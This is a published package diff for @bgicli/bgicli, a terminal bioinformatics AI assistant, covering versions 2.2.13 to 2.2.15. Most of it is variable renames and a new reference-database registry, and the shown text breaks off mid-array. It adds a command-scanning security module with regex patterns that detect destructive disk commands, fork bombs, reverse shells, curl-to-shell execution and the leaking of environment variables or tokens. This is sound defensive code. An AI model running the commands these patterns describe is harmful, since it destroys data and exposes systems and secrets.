@bgicli/bgicli 2.2.13 → 2.2.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/bgi.js +963 -139
  2. package/package.json +1 -1
package/dist/bgi.js CHANGED
@@ -2092,7 +2092,7 @@ var require_lib2 = __commonJS({
2092
2092
  let accum = [];
2093
2093
  let accumBytes = 0;
2094
2094
  let abort = false;
2095
- return new Body.Promise(function(resolve3, reject) {
2095
+ return new Body.Promise(function(resolve4, reject) {
2096
2096
  let resTimeout;
2097
2097
  if (_this4.timeout) {
2098
2098
  resTimeout = setTimeout(function() {
@@ -2126,7 +2126,7 @@ var require_lib2 = __commonJS({
2126
2126
  }
2127
2127
  clearTimeout(resTimeout);
2128
2128
  try {
2129
- resolve3(Buffer.concat(accum, accumBytes));
2129
+ resolve4(Buffer.concat(accum, accumBytes));
2130
2130
  } catch (err) {
2131
2131
  reject(new FetchError(`Could not create Buffer from response body for ${_this4.url}: ${err.message}`, "system", err));
2132
2132
  }
@@ -2801,7 +2801,7 @@ var require_lib2 = __commonJS({
2801
2801
  throw new Error("native promise missing, set fetch.Promise to your favorite alternative");
2802
2802
  }
2803
2803
  Body.Promise = fetch2.Promise;
2804
- return new fetch2.Promise(function(resolve3, reject) {
2804
+ return new fetch2.Promise(function(resolve4, reject) {
2805
2805
  const request = new Request3(url, opts);
2806
2806
  const options = getNodeRequestOptions(request);
2807
2807
  const send = (options.protocol === "https:" ? https : http).request;
@@ -2934,7 +2934,7 @@ var require_lib2 = __commonJS({
2934
2934
  requestOpts.body = void 0;
2935
2935
  requestOpts.headers.delete("content-length");
2936
2936
  }
2937
- resolve3(fetch2(new Request3(locationURL, requestOpts)));
2937
+ resolve4(fetch2(new Request3(locationURL, requestOpts)));
2938
2938
  finalize();
2939
2939
  return;
2940
2940
  }
@@ -2955,7 +2955,7 @@ var require_lib2 = __commonJS({
2955
2955
  const codings = headers.get("Content-Encoding");
2956
2956
  if (!request.compress || request.method === "HEAD" || codings === null || res.statusCode === 204 || res.statusCode === 304) {
2957
2957
  response = new Response3(body, response_options);
2958
- resolve3(response);
2958
+ resolve4(response);
2959
2959
  return;
2960
2960
  }
2961
2961
  const zlibOptions = {
@@ -2965,7 +2965,7 @@ var require_lib2 = __commonJS({
2965
2965
  if (codings == "gzip" || codings == "x-gzip") {
2966
2966
  body = body.pipe(zlib.createGunzip(zlibOptions));
2967
2967
  response = new Response3(body, response_options);
2968
- resolve3(response);
2968
+ resolve4(response);
2969
2969
  return;
2970
2970
  }
2971
2971
  if (codings == "deflate" || codings == "x-deflate") {
@@ -2977,12 +2977,12 @@ var require_lib2 = __commonJS({
2977
2977
  body = body.pipe(zlib.createInflateRaw());
2978
2978
  }
2979
2979
  response = new Response3(body, response_options);
2980
- resolve3(response);
2980
+ resolve4(response);
2981
2981
  });
2982
2982
  raw.on("end", function() {
2983
2983
  if (!response) {
2984
2984
  response = new Response3(body, response_options);
2985
- resolve3(response);
2985
+ resolve4(response);
2986
2986
  }
2987
2987
  });
2988
2988
  return;
@@ -2990,11 +2990,11 @@ var require_lib2 = __commonJS({
2990
2990
  if (codings == "br" && typeof zlib.createBrotliDecompress === "function") {
2991
2991
  body = body.pipe(zlib.createBrotliDecompress());
2992
2992
  response = new Response3(body, response_options);
2993
- resolve3(response);
2993
+ resolve4(response);
2994
2994
  return;
2995
2995
  }
2996
2996
  response = new Response3(body, response_options);
2997
- resolve3(response);
2997
+ resolve4(response);
2998
2998
  });
2999
2999
  writeToStream(req, request);
3000
3000
  });
@@ -6932,9 +6932,9 @@ var chalkStderr = createChalk({ level: stderrColor ? stderrColor.level : 0 });
6932
6932
  var source_default = chalk;
6933
6933
 
6934
6934
  // src/index.ts
6935
- var import_fs5 = require("fs");
6936
- var import_path5 = require("path");
6937
- var import_os3 = require("os");
6935
+ var import_fs6 = require("fs");
6936
+ var import_path6 = require("path");
6937
+ var import_os4 = require("os");
6938
6938
  var import_https2 = require("https");
6939
6939
  var import_child_process2 = require("child_process");
6940
6940
 
@@ -8372,8 +8372,8 @@ function _addRequestID(value, response) {
8372
8372
  }
8373
8373
  var APIPromise = class _APIPromise extends Promise {
8374
8374
  constructor(responsePromise, parseResponse2 = defaultParseResponse) {
8375
- super((resolve3) => {
8376
- resolve3(null);
8375
+ super((resolve4) => {
8376
+ resolve4(null);
8377
8377
  });
8378
8378
  this.responsePromise = responsePromise;
8379
8379
  this.parseResponse = parseResponse2;
@@ -8948,7 +8948,7 @@ var startsWithSchemeRegexp = /^[a-z][a-z0-9+.-]*:/i;
8948
8948
  var isAbsoluteURL = (url) => {
8949
8949
  return startsWithSchemeRegexp.test(url);
8950
8950
  };
8951
- var sleep = (ms) => new Promise((resolve3) => setTimeout(resolve3, ms));
8951
+ var sleep = (ms) => new Promise((resolve4) => setTimeout(resolve4, ms));
8952
8952
  var validatePositiveInteger = (name, n2) => {
8953
8953
  if (typeof n2 !== "number" || !Number.isInteger(n2)) {
8954
8954
  throw new OpenAIError(`${name} must be an integer`);
@@ -9381,12 +9381,12 @@ var EventStream = class {
9381
9381
  _EventStream_errored.set(this, false);
9382
9382
  _EventStream_aborted.set(this, false);
9383
9383
  _EventStream_catchingPromiseCreated.set(this, false);
9384
- __classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve3, reject) => {
9385
- __classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve3, "f");
9384
+ __classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve4, reject) => {
9385
+ __classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve4, "f");
9386
9386
  __classPrivateFieldSet7(this, _EventStream_rejectConnectedPromise, reject, "f");
9387
9387
  }), "f");
9388
- __classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve3, reject) => {
9389
- __classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve3, "f");
9388
+ __classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve4, reject) => {
9389
+ __classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve4, "f");
9390
9390
  __classPrivateFieldSet7(this, _EventStream_rejectEndPromise, reject, "f");
9391
9391
  }), "f");
9392
9392
  __classPrivateFieldGet8(this, _EventStream_connectedPromise, "f").catch(() => {
@@ -9470,11 +9470,11 @@ var EventStream = class {
9470
9470
  * const message = await stream.emitted('message') // rejects if the stream errors
9471
9471
  */
9472
9472
  emitted(event) {
9473
- return new Promise((resolve3, reject) => {
9473
+ return new Promise((resolve4, reject) => {
9474
9474
  __classPrivateFieldSet7(this, _EventStream_catchingPromiseCreated, true, "f");
9475
9475
  if (event !== "error")
9476
9476
  this.once("error", reject);
9477
- this.once(event, resolve3);
9477
+ this.once(event, resolve4);
9478
9478
  });
9479
9479
  }
9480
9480
  async done() {
@@ -9627,7 +9627,7 @@ var AssistantStream = class _AssistantStream extends EventStream {
9627
9627
  if (done) {
9628
9628
  return { value: void 0, done: true };
9629
9629
  }
9630
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
9630
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
9631
9631
  }
9632
9632
  const chunk = pushQueue.shift();
9633
9633
  return { value: chunk, done: false };
@@ -11245,7 +11245,7 @@ var ChatCompletionStream = class _ChatCompletionStream extends AbstractChatCompl
11245
11245
  if (done) {
11246
11246
  return { value: void 0, done: true };
11247
11247
  }
11248
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
11248
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
11249
11249
  }
11250
11250
  const chunk = pushQueue.shift();
11251
11251
  return { value: chunk, done: false };
@@ -12896,7 +12896,7 @@ var ResponseStream = class _ResponseStream extends EventStream {
12896
12896
  if (done) {
12897
12897
  return { value: void 0, done: true };
12898
12898
  }
12899
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
12899
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
12900
12900
  }
12901
12901
  const event = pushQueue.shift();
12902
12902
  return { value: event, done: false };
@@ -13605,6 +13605,7 @@ var BGI_DIR = (0, import_path2.join)((0, import_os.homedir)(), ".bgicli");
13605
13605
  var WORKFLOWS_DIR = (0, import_path2.join)(BGI_DIR, "workflows");
13606
13606
  var TOOLS_DIR = (0, import_path2.join)(BGI_DIR, "tools");
13607
13607
  var SKILLS_DIR = (0, import_path2.join)(BGI_DIR, "skills");
13608
+ var DATABASES_FILE = (0, import_path2.join)(BGI_DIR, "databases.json");
13608
13609
  var CONFIG_FILE = (0, import_path2.join)(BGI_DIR, "config.json");
13609
13610
  function ensureDirs() {
13610
13611
  for (const dir of [BGI_DIR, WORKFLOWS_DIR, TOOLS_DIR, SKILLS_DIR]) {
@@ -13636,6 +13637,205 @@ var import_path3 = require("path");
13636
13637
  var import_os2 = require("os");
13637
13638
  var import_https = require("https");
13638
13639
  var import_http = require("http");
13640
+
13641
+ // src/security.ts
13642
+ var PATTERNS = [
13643
+ // ── CRITICAL: always block ─────────────────────────────────────────────────
13644
+ {
13645
+ id: "rm-root",
13646
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\s*$/,
13647
+ level: "CRITICAL",
13648
+ reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)"
13649
+ },
13650
+ {
13651
+ id: "rm-root-star",
13652
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\*/,
13653
+ level: "CRITICAL",
13654
+ reason: "\u5220\u9664\u6839\u76EE\u5F55\u6240\u6709\u5185\u5BB9 (rm -rf /*)"
13655
+ },
13656
+ {
13657
+ id: "rm-home",
13658
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+(~|\$HOME)\s*$/,
13659
+ level: "CRITICAL",
13660
+ reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~/)"
13661
+ },
13662
+ {
13663
+ id: "fork-bomb",
13664
+ pattern: /:\(\)\s*\{[^}]*:\s*\|\s*:&[^}]*\}/,
13665
+ level: "CRITICAL",
13666
+ reason: "Fork bomb \u2014 \u8017\u5C3D\u7CFB\u7EDF\u8FDB\u7A0B"
13667
+ },
13668
+ {
13669
+ id: "dd-disk",
13670
+ pattern: /\bdd\s+.*if=\/dev\/(zero|random|urandom)\s+.*of=\/dev\/[a-z]/,
13671
+ level: "CRITICAL",
13672
+ reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd if=/dev/zero of=/dev/sd*)"
13673
+ },
13674
+ {
13675
+ id: "mkfs",
13676
+ pattern: /\bmkfs(\.[a-z0-9]+)?\s+\/dev\//,
13677
+ level: "CRITICAL",
13678
+ reason: "\u683C\u5F0F\u5316\u78C1\u76D8\u5206\u533A (mkfs)"
13679
+ },
13680
+ {
13681
+ id: "write-disk-raw",
13682
+ pattern: />\s*\/dev\/sd[a-z][0-9]?(?!\w)/,
13683
+ level: "CRITICAL",
13684
+ reason: "\u76F4\u63A5\u5199\u5165\u88F8\u78C1\u76D8\u8BBE\u5907"
13685
+ },
13686
+ {
13687
+ id: "reverse-shell-bash",
13688
+ pattern: /bash\s+-i\s*>&?\s*\/dev\/tcp\//,
13689
+ level: "CRITICAL",
13690
+ reason: "bash \u53CD\u5F39 shell (bash -i >& /dev/tcp/)"
13691
+ },
13692
+ {
13693
+ id: "reverse-shell-nc",
13694
+ pattern: /\bnc\s+.*-e\s+\/bin\/(ba)?sh/,
13695
+ level: "CRITICAL",
13696
+ reason: "netcat \u53CD\u5F39 shell (nc -e /bin/sh)"
13697
+ },
13698
+ // ── HIGH: warn user ────────────────────────────────────────────────────────
13699
+ {
13700
+ id: "curl-pipe-exec",
13701
+ pattern: /curl\s+[^|]*\|\s*(ba)?sh/,
13702
+ level: "HIGH",
13703
+ reason: "curl \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
13704
+ },
13705
+ {
13706
+ id: "wget-pipe-exec",
13707
+ pattern: /wget\s+[^|]*\|\s*(ba)?sh/,
13708
+ level: "HIGH",
13709
+ reason: "wget \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
13710
+ },
13711
+ {
13712
+ id: "eval-base64",
13713
+ pattern: /\beval\s*[\(\$`].*base64/i,
13714
+ level: "HIGH",
13715
+ reason: "eval(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
13716
+ },
13717
+ {
13718
+ id: "python-exec-base64",
13719
+ pattern: /python[23]?\s+-c\s+["'].*exec\s*\(.*base64/i,
13720
+ level: "HIGH",
13721
+ reason: "Python exec(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
13722
+ },
13723
+ {
13724
+ id: "cred-aws",
13725
+ pattern: /\bAKID[A-Z0-9]{16,}\b|\bAKIA[0-9A-Z]{16}\b/,
13726
+ level: "HIGH",
13727
+ reason: "AWS/\u817E\u8BAF\u4E91 Access Key \u7591\u4F3C\u6CC4\u9732"
13728
+ },
13729
+ {
13730
+ id: "cred-private-key",
13731
+ pattern: /-----BEGIN\s+(RSA|EC|OPENSSH|DSA|ENCRYPTED)\s+PRIVATE KEY-----/,
13732
+ level: "HIGH",
13733
+ reason: "\u79C1\u94A5\u5185\u5BB9\u6CC4\u9732"
13734
+ },
13735
+ {
13736
+ id: "cred-gh-token",
13737
+ pattern: /\bghp_[A-Za-z0-9]{36}\b|\bgho_[A-Za-z0-9]{36}\b/,
13738
+ level: "HIGH",
13739
+ reason: "GitHub Personal Access Token \u6CC4\u9732"
13740
+ },
13741
+ {
13742
+ id: "env-exfil",
13743
+ pattern: /\benv\b[^|]*\|\s*(curl|wget|nc)\b/,
13744
+ level: "HIGH",
13745
+ reason: "\u73AF\u5883\u53D8\u91CF\u901A\u8FC7\u7F51\u7EDC\u6CC4\u9732"
13746
+ },
13747
+ {
13748
+ id: "reverse-shell-python",
13749
+ pattern: /python[23]?\s+-c\s+["'].*socket.*connect.*subprocess/s,
13750
+ level: "HIGH",
13751
+ reason: "Python \u53CD\u5F39 shell"
13752
+ },
13753
+ // ── MEDIUM: warn, allow ────────────────────────────────────────────────────
13754
+ {
13755
+ id: "chmod-777-r",
13756
+ pattern: /\bchmod\s+(-R\s+)?777\s+\//,
13757
+ level: "MEDIUM",
13758
+ reason: "\u9012\u5F52\u8BBE\u7F6E 777 \u6743\u9650\uFF08\u53EF\u80FD\u66B4\u9732\u7CFB\u7EDF\u6587\u4EF6\uFF09"
13759
+ },
13760
+ {
13761
+ id: "setuid-bit",
13762
+ pattern: /\bchmod\s+[uo]\+s\b/,
13763
+ level: "MEDIUM",
13764
+ reason: "\u8BBE\u7F6E setuid/setgid \u4F4D"
13765
+ },
13766
+ {
13767
+ id: "cron-modify",
13768
+ pattern: /\bcrontab\s+-[il]/,
13769
+ level: "MEDIUM",
13770
+ reason: "\u4FEE\u6539 cron \u5B9A\u65F6\u4EFB\u52A1"
13771
+ },
13772
+ {
13773
+ id: "history-clear",
13774
+ pattern: /history\s+-[cw]|>\s*~\/\.bash_history/,
13775
+ level: "MEDIUM",
13776
+ reason: "\u6E05\u9664 shell \u5386\u53F2\u8BB0\u5F55"
13777
+ },
13778
+ {
13779
+ id: "iptables-flush",
13780
+ pattern: /\biptables\s+-F\b/,
13781
+ level: "MEDIUM",
13782
+ reason: "\u6E05\u7A7A\u9632\u706B\u5899\u89C4\u5219 (iptables -F)"
13783
+ },
13784
+ // ── LOW: info only ─────────────────────────────────────────────────────────
13785
+ {
13786
+ id: "curl-insecure",
13787
+ pattern: /\bcurl\s+.*(-k|--insecure)\b/,
13788
+ level: "LOW",
13789
+ reason: "curl \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
13790
+ },
13791
+ {
13792
+ id: "wget-no-cert",
13793
+ pattern: /\bwget\s+.*--no-check-certificate\b/,
13794
+ level: "LOW",
13795
+ reason: "wget \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
13796
+ },
13797
+ {
13798
+ id: "sudo-usage",
13799
+ pattern: /\bsudo\b/,
13800
+ level: "LOW",
13801
+ reason: "\u4F7F\u7528 sudo \u63D0\u6743"
13802
+ },
13803
+ {
13804
+ id: "nohup-background",
13805
+ pattern: /\bnohup\b.*&\s*$|\bdisown\b/,
13806
+ level: "LOW",
13807
+ reason: "\u540E\u53F0\u9A7B\u7559\u8FDB\u7A0B"
13808
+ }
13809
+ ];
13810
+ function scanCommand(command) {
13811
+ const matches = [];
13812
+ for (const pat of PATTERNS) {
13813
+ const m2 = command.match(pat.pattern);
13814
+ if (m2) {
13815
+ matches.push({ pattern: pat, matchedText: m2[0] });
13816
+ }
13817
+ }
13818
+ const safe = matches.every((m2) => m2.pattern.level !== "CRITICAL");
13819
+ return { safe, matches };
13820
+ }
13821
+ function scanSkillMd(markdownContent) {
13822
+ const bashBlocks = [...markdownContent.matchAll(/```(?:bash|sh)\n([\s\S]*?)```/g)].map((m2) => m2[1]);
13823
+ const allMatches = [];
13824
+ for (const block of bashBlocks) {
13825
+ for (const line of block.split("\n")) {
13826
+ const r2 = scanCommand(line.trim());
13827
+ allMatches.push(...r2.matches);
13828
+ }
13829
+ }
13830
+ return {
13831
+ criticalCount: allMatches.filter((m2) => m2.pattern.level === "CRITICAL").length,
13832
+ highCount: allMatches.filter((m2) => m2.pattern.level === "HIGH").length,
13833
+ mediumCount: allMatches.filter((m2) => m2.pattern.level === "MEDIUM").length,
13834
+ matches: allMatches
13835
+ };
13836
+ }
13837
+
13838
+ // src/tools.ts
13639
13839
  var TOOL_DEFINITIONS = [
13640
13840
  {
13641
13841
  type: "function",
@@ -13806,33 +14006,24 @@ function decodeBuffer(buf) {
13806
14006
  }
13807
14007
  }
13808
14008
  }
13809
- var DANGEROUS_PATTERNS = [
13810
- { pattern: /rm\s+-rf\s+\/(?!\S)/, reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)" },
13811
- { pattern: /rm\s+-rf\s+~(?!\S)/, reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~)" },
13812
- { pattern: /rm\s+-rf\s+\$HOME(?!\S)/, reason: "\u5220\u9664 $HOME \u76EE\u5F55" },
13813
- { pattern: /dd\s+if=\/dev\/(?:zero|random|urandom)\s+of=\/dev\//, reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd)" },
13814
- { pattern: /mkfs\b/, reason: "\u683C\u5F0F\u5316\u6587\u4EF6\u7CFB\u7EDF (mkfs)" },
13815
- { pattern: />\s*\/dev\/sd[a-z]/, reason: "\u76F4\u63A5\u5199\u5165\u78C1\u76D8\u8BBE\u5907" },
13816
- { pattern: /chmod\s+-R\s+777\s+\/(?!\S)/, reason: "\u9012\u5F52\u4FEE\u6539\u6839\u76EE\u5F55\u6743\u9650" },
13817
- { pattern: /:\(\)\s*\{.*\}.*:/, reason: "Fork bomb \u68C0\u6D4B" }
13818
- ];
13819
- function checkDangerousCommand(command) {
13820
- for (const { pattern, reason } of DANGEROUS_PATTERNS) {
13821
- if (pattern.test(command)) return reason;
13822
- }
13823
- return null;
13824
- }
13825
14009
  async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
13826
- const danger = checkDangerousCommand(command);
13827
- if (danger) {
14010
+ const scan = scanCommand(command);
14011
+ const criticals = scan.matches.filter((m2) => m2.pattern.level === "CRITICAL");
14012
+ if (criticals.length > 0) {
14013
+ const reasons = criticals.map((m2) => m2.pattern.reason).join("\u3001");
13828
14014
  return {
13829
14015
  output: "",
13830
- error: `\u26A0\uFE0F \u5B89\u5168\u62E6\u622A\uFF1A\u68C0\u6D4B\u5230\u5371\u9669\u547D\u4EE4\uFF08${danger}\uFF09\u3002
13831
- \u547D\u4EE4\u5DF2\u88AB\u963B\u6B62\uFF0C\u8BF7\u786E\u8BA4\u4F60\u7684\u610F\u56FE\u540E\u624B\u52A8\u6267\u884C\u3002
13832
- \u88AB\u62E6\u622A\u7684\u547D\u4EE4: ${command}`
14016
+ error: `\u5B89\u5168\u62E6\u622A [CRITICAL]: ${reasons}
14017
+ \u547D\u4EE4\u5DF2\u88AB\u963B\u6B62: ${command}`
13833
14018
  };
13834
14019
  }
13835
- return new Promise((resolve3) => {
14020
+ const highs = scan.matches.filter((m2) => m2.pattern.level === "HIGH");
14021
+ if (highs.length > 0) {
14022
+ const reasons = highs.map((m2) => m2.pattern.reason).join("\u3001");
14023
+ if (onStream) onStream(`\u26A0 \u5B89\u5168\u8B66\u544A [HIGH]: ${reasons}
14024
+ `);
14025
+ }
14026
+ return new Promise((resolve4) => {
13836
14027
  const isWin = process.platform === "win32";
13837
14028
  const child = (0, import_child_process.spawn)(isWin ? "cmd" : "/bin/sh", isWin ? ["/c", command] : ["-c", command], {
13838
14029
  cwd: workdir ?? process.cwd(),
@@ -13864,16 +14055,16 @@ async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
13864
14055
  clearTimeout(timer);
13865
14056
  const out = (decodeBuffer(Buffer.concat(outChunks)) + "\n" + decodeBuffer(Buffer.concat(errChunks))).trim();
13866
14057
  if (timedOut) {
13867
- resolve3({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
14058
+ resolve4({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
13868
14059
  } else if (code !== 0) {
13869
- resolve3({ output: out, error: `Command failed (exit ${code})` });
14060
+ resolve4({ output: out, error: `Command failed (exit ${code})` });
13870
14061
  } else {
13871
- resolve3({ output: out });
14062
+ resolve4({ output: out });
13872
14063
  }
13873
14064
  });
13874
14065
  child.on("error", (err) => {
13875
14066
  clearTimeout(timer);
13876
- resolve3({ output: "", error: err.message });
14067
+ resolve4({ output: "", error: err.message });
13877
14068
  });
13878
14069
  });
13879
14070
  }
@@ -13911,11 +14102,11 @@ async function toolSearchFiles(pattern, rootPath) {
13911
14102
  return toolBash(command, resolved, 1e4);
13912
14103
  }
13913
14104
  function httpFetch(url, timeoutMs = 15e3) {
13914
- return new Promise((resolve3, reject) => {
14105
+ return new Promise((resolve4, reject) => {
13915
14106
  const getter = url.startsWith("https") ? import_https.get : import_http.get;
13916
14107
  const req = getter(url, { headers: { "User-Agent": "BGI-CLI/1.0" } }, (res) => {
13917
14108
  if ((res.statusCode === 301 || res.statusCode === 302) && res.headers.location) {
13918
- httpFetch(res.headers.location, timeoutMs).then(resolve3).catch(reject);
14109
+ httpFetch(res.headers.location, timeoutMs).then(resolve4).catch(reject);
13919
14110
  return;
13920
14111
  }
13921
14112
  if (res.statusCode && res.statusCode >= 400) {
@@ -13924,7 +14115,7 @@ function httpFetch(url, timeoutMs = 15e3) {
13924
14115
  }
13925
14116
  const chunks = [];
13926
14117
  res.on("data", (c2) => chunks.push(c2));
13927
- res.on("end", () => resolve3(Buffer.concat(chunks).toString("utf8")));
14118
+ res.on("end", () => resolve4(Buffer.concat(chunks).toString("utf8")));
13928
14119
  res.on("error", reject);
13929
14120
  });
13930
14121
  req.setTimeout(timeoutMs, () => {
@@ -14027,7 +14218,7 @@ ${shortSummary}`);
14027
14218
  }
14028
14219
 
14029
14220
  // src/chat.ts
14030
- async function chat(messages, config, systemPrompt) {
14221
+ async function chat(messages, config, systemPrompt2) {
14031
14222
  const prov = PROVIDERS[config.provider];
14032
14223
  if (!prov) throw new Error(`Unknown provider: ${config.provider}`);
14033
14224
  if (config.provider === "custom") {
@@ -14041,7 +14232,7 @@ async function chat(messages, config, systemPrompt) {
14041
14232
  if (requiresKey && !apiKey) throw new Error(`\u672A\u914D\u7F6E API Key (${config.provider})\u3002\u8FD0\u884C: /connect`);
14042
14233
  const client = new openai_default({ apiKey: apiKey || "none", baseURL });
14043
14234
  const fullMessages = [
14044
- { role: "system", content: systemPrompt },
14235
+ { role: "system", content: systemPrompt2 },
14045
14236
  ...messages
14046
14237
  ];
14047
14238
  return await streamLoop(client, fullMessages, config.model);
@@ -14281,7 +14472,7 @@ function summarizeArgs(args) {
14281
14472
  }
14282
14473
 
14283
14474
  // src/prompt.ts
14284
- function buildSystemPrompt() {
14475
+ function buildSystemPrompt(dbSection) {
14285
14476
  return `You are **BGI CLI**, a specialized bioinformatics AI assistant built for Chinese biological researchers. You run inside a terminal and can execute code, read/write files, and run bash commands to help with real bioinformatics analysis tasks.
14286
14477
 
14287
14478
  ## Core Identity
@@ -14386,6 +14577,14 @@ Python tools are at: **${TOOLS_DIR}**
14386
14577
 
14387
14578
  ---
14388
14579
 
14580
+ ## \u53C2\u8003\u6570\u636E\u5E93 & \u7D22\u5F15
14581
+
14582
+ ${dbSection ?? "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09"}
14583
+
14584
+ **\u4F7F\u7528\u539F\u5219**\uFF1A\u5206\u6790\u65F6\u4F18\u5148\u4F7F\u7528\u5DF2\u6CE8\u518C\u7684\u672C\u5730\u6570\u636E\u5E93\u8DEF\u5F84\uFF0C\u65E0\u9700\u91CD\u590D\u4E0B\u8F7D\u3002\u8DEF\u5F84\u5E26 \u26A0 \u8868\u793A\u6587\u4EF6\u5DF2\u4E0D\u5B58\u5728\uFF0C\u9700\u91CD\u65B0\u786E\u8BA4\u3002
14585
+
14586
+ ---
14587
+
14389
14588
  ## OpenClaw Medical Skills (979\u4E2A\u4E13\u79D1\u6280\u80FD)
14390
14589
 
14391
14590
  \u6280\u80FD\u5E93\u4F4D\u4E8E: **${SKILLS_DIR}**
@@ -14538,6 +14737,273 @@ message(sprintf("\u603B\u57FA\u56E0\u6570: %d | \u663E\u8457 DEG: %d (\u4E0A\u8C
14538
14737
  \u2192 \u7ACB\u5373\u8C03\u7528 fetch_geo("GSE12345") \u83B7\u53D6\u5143\u6570\u636E\u548C\u4E0B\u8F7D\u4EE3\u7801\uFF0C\u65E0\u9700\u8BA9\u7528\u6237\u624B\u52A8\u4E0B\u8F7D`;
14539
14738
  }
14540
14739
 
14740
+ // src/databases.ts
14741
+ var import_fs4 = require("fs");
14742
+ var import_path4 = require("path");
14743
+ var import_os3 = require("os");
14744
+ function loadDbRegistry() {
14745
+ if (!(0, import_fs4.existsSync)(DATABASES_FILE)) {
14746
+ return { version: 1, lastScan: null, databases: {} };
14747
+ }
14748
+ try {
14749
+ return JSON.parse((0, import_fs4.readFileSync)(DATABASES_FILE, "utf8"));
14750
+ } catch {
14751
+ return { version: 1, lastScan: null, databases: {} };
14752
+ }
14753
+ }
14754
+ function saveDbRegistry(registry) {
14755
+ (0, import_fs4.writeFileSync)(DATABASES_FILE, JSON.stringify(registry, null, 2), "utf8");
14756
+ }
14757
+ function addDbEntry(registry, entry) {
14758
+ const id = entry.id ?? slugify(`${entry.genome}-${entry.type}-${Date.now()}`);
14759
+ const full = { ...entry, id, addedAt: (/* @__PURE__ */ new Date()).toISOString() };
14760
+ registry.databases[id] = full;
14761
+ return full;
14762
+ }
14763
+ function removeDbEntry(registry, id) {
14764
+ if (!registry.databases[id]) return false;
14765
+ delete registry.databases[id];
14766
+ return true;
14767
+ }
14768
+ function slugify(s2) {
14769
+ return s2.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
14770
+ }
14771
+ var FILE_PATTERNS = [
14772
+ // Reference FASTA
14773
+ { regex: /\bhg38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
14774
+ { regex: /\bGRCh38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
14775
+ { regex: /\bhg19\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
14776
+ { regex: /\bGRCh37\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
14777
+ { regex: /\bmm10\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
14778
+ { regex: /\bGRCm38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
14779
+ { regex: /\bmm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
14780
+ { regex: /\bGRCm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
14781
+ { regex: /\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "other" },
14782
+ // GTF / GFF
14783
+ { regex: /\bhg38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
14784
+ { regex: /\bGRCh38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
14785
+ { regex: /\bhg19\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg19" },
14786
+ { regex: /\bmm10\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "mm10" },
14787
+ { regex: /\.gtf(\.gz)?$/i, type: "gtf", genome: "other" },
14788
+ { regex: /\.gff3?(\.gz)?$/i, type: "gff3", genome: "other" },
14789
+ // VCF databases
14790
+ { regex: /dbsnp.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14791
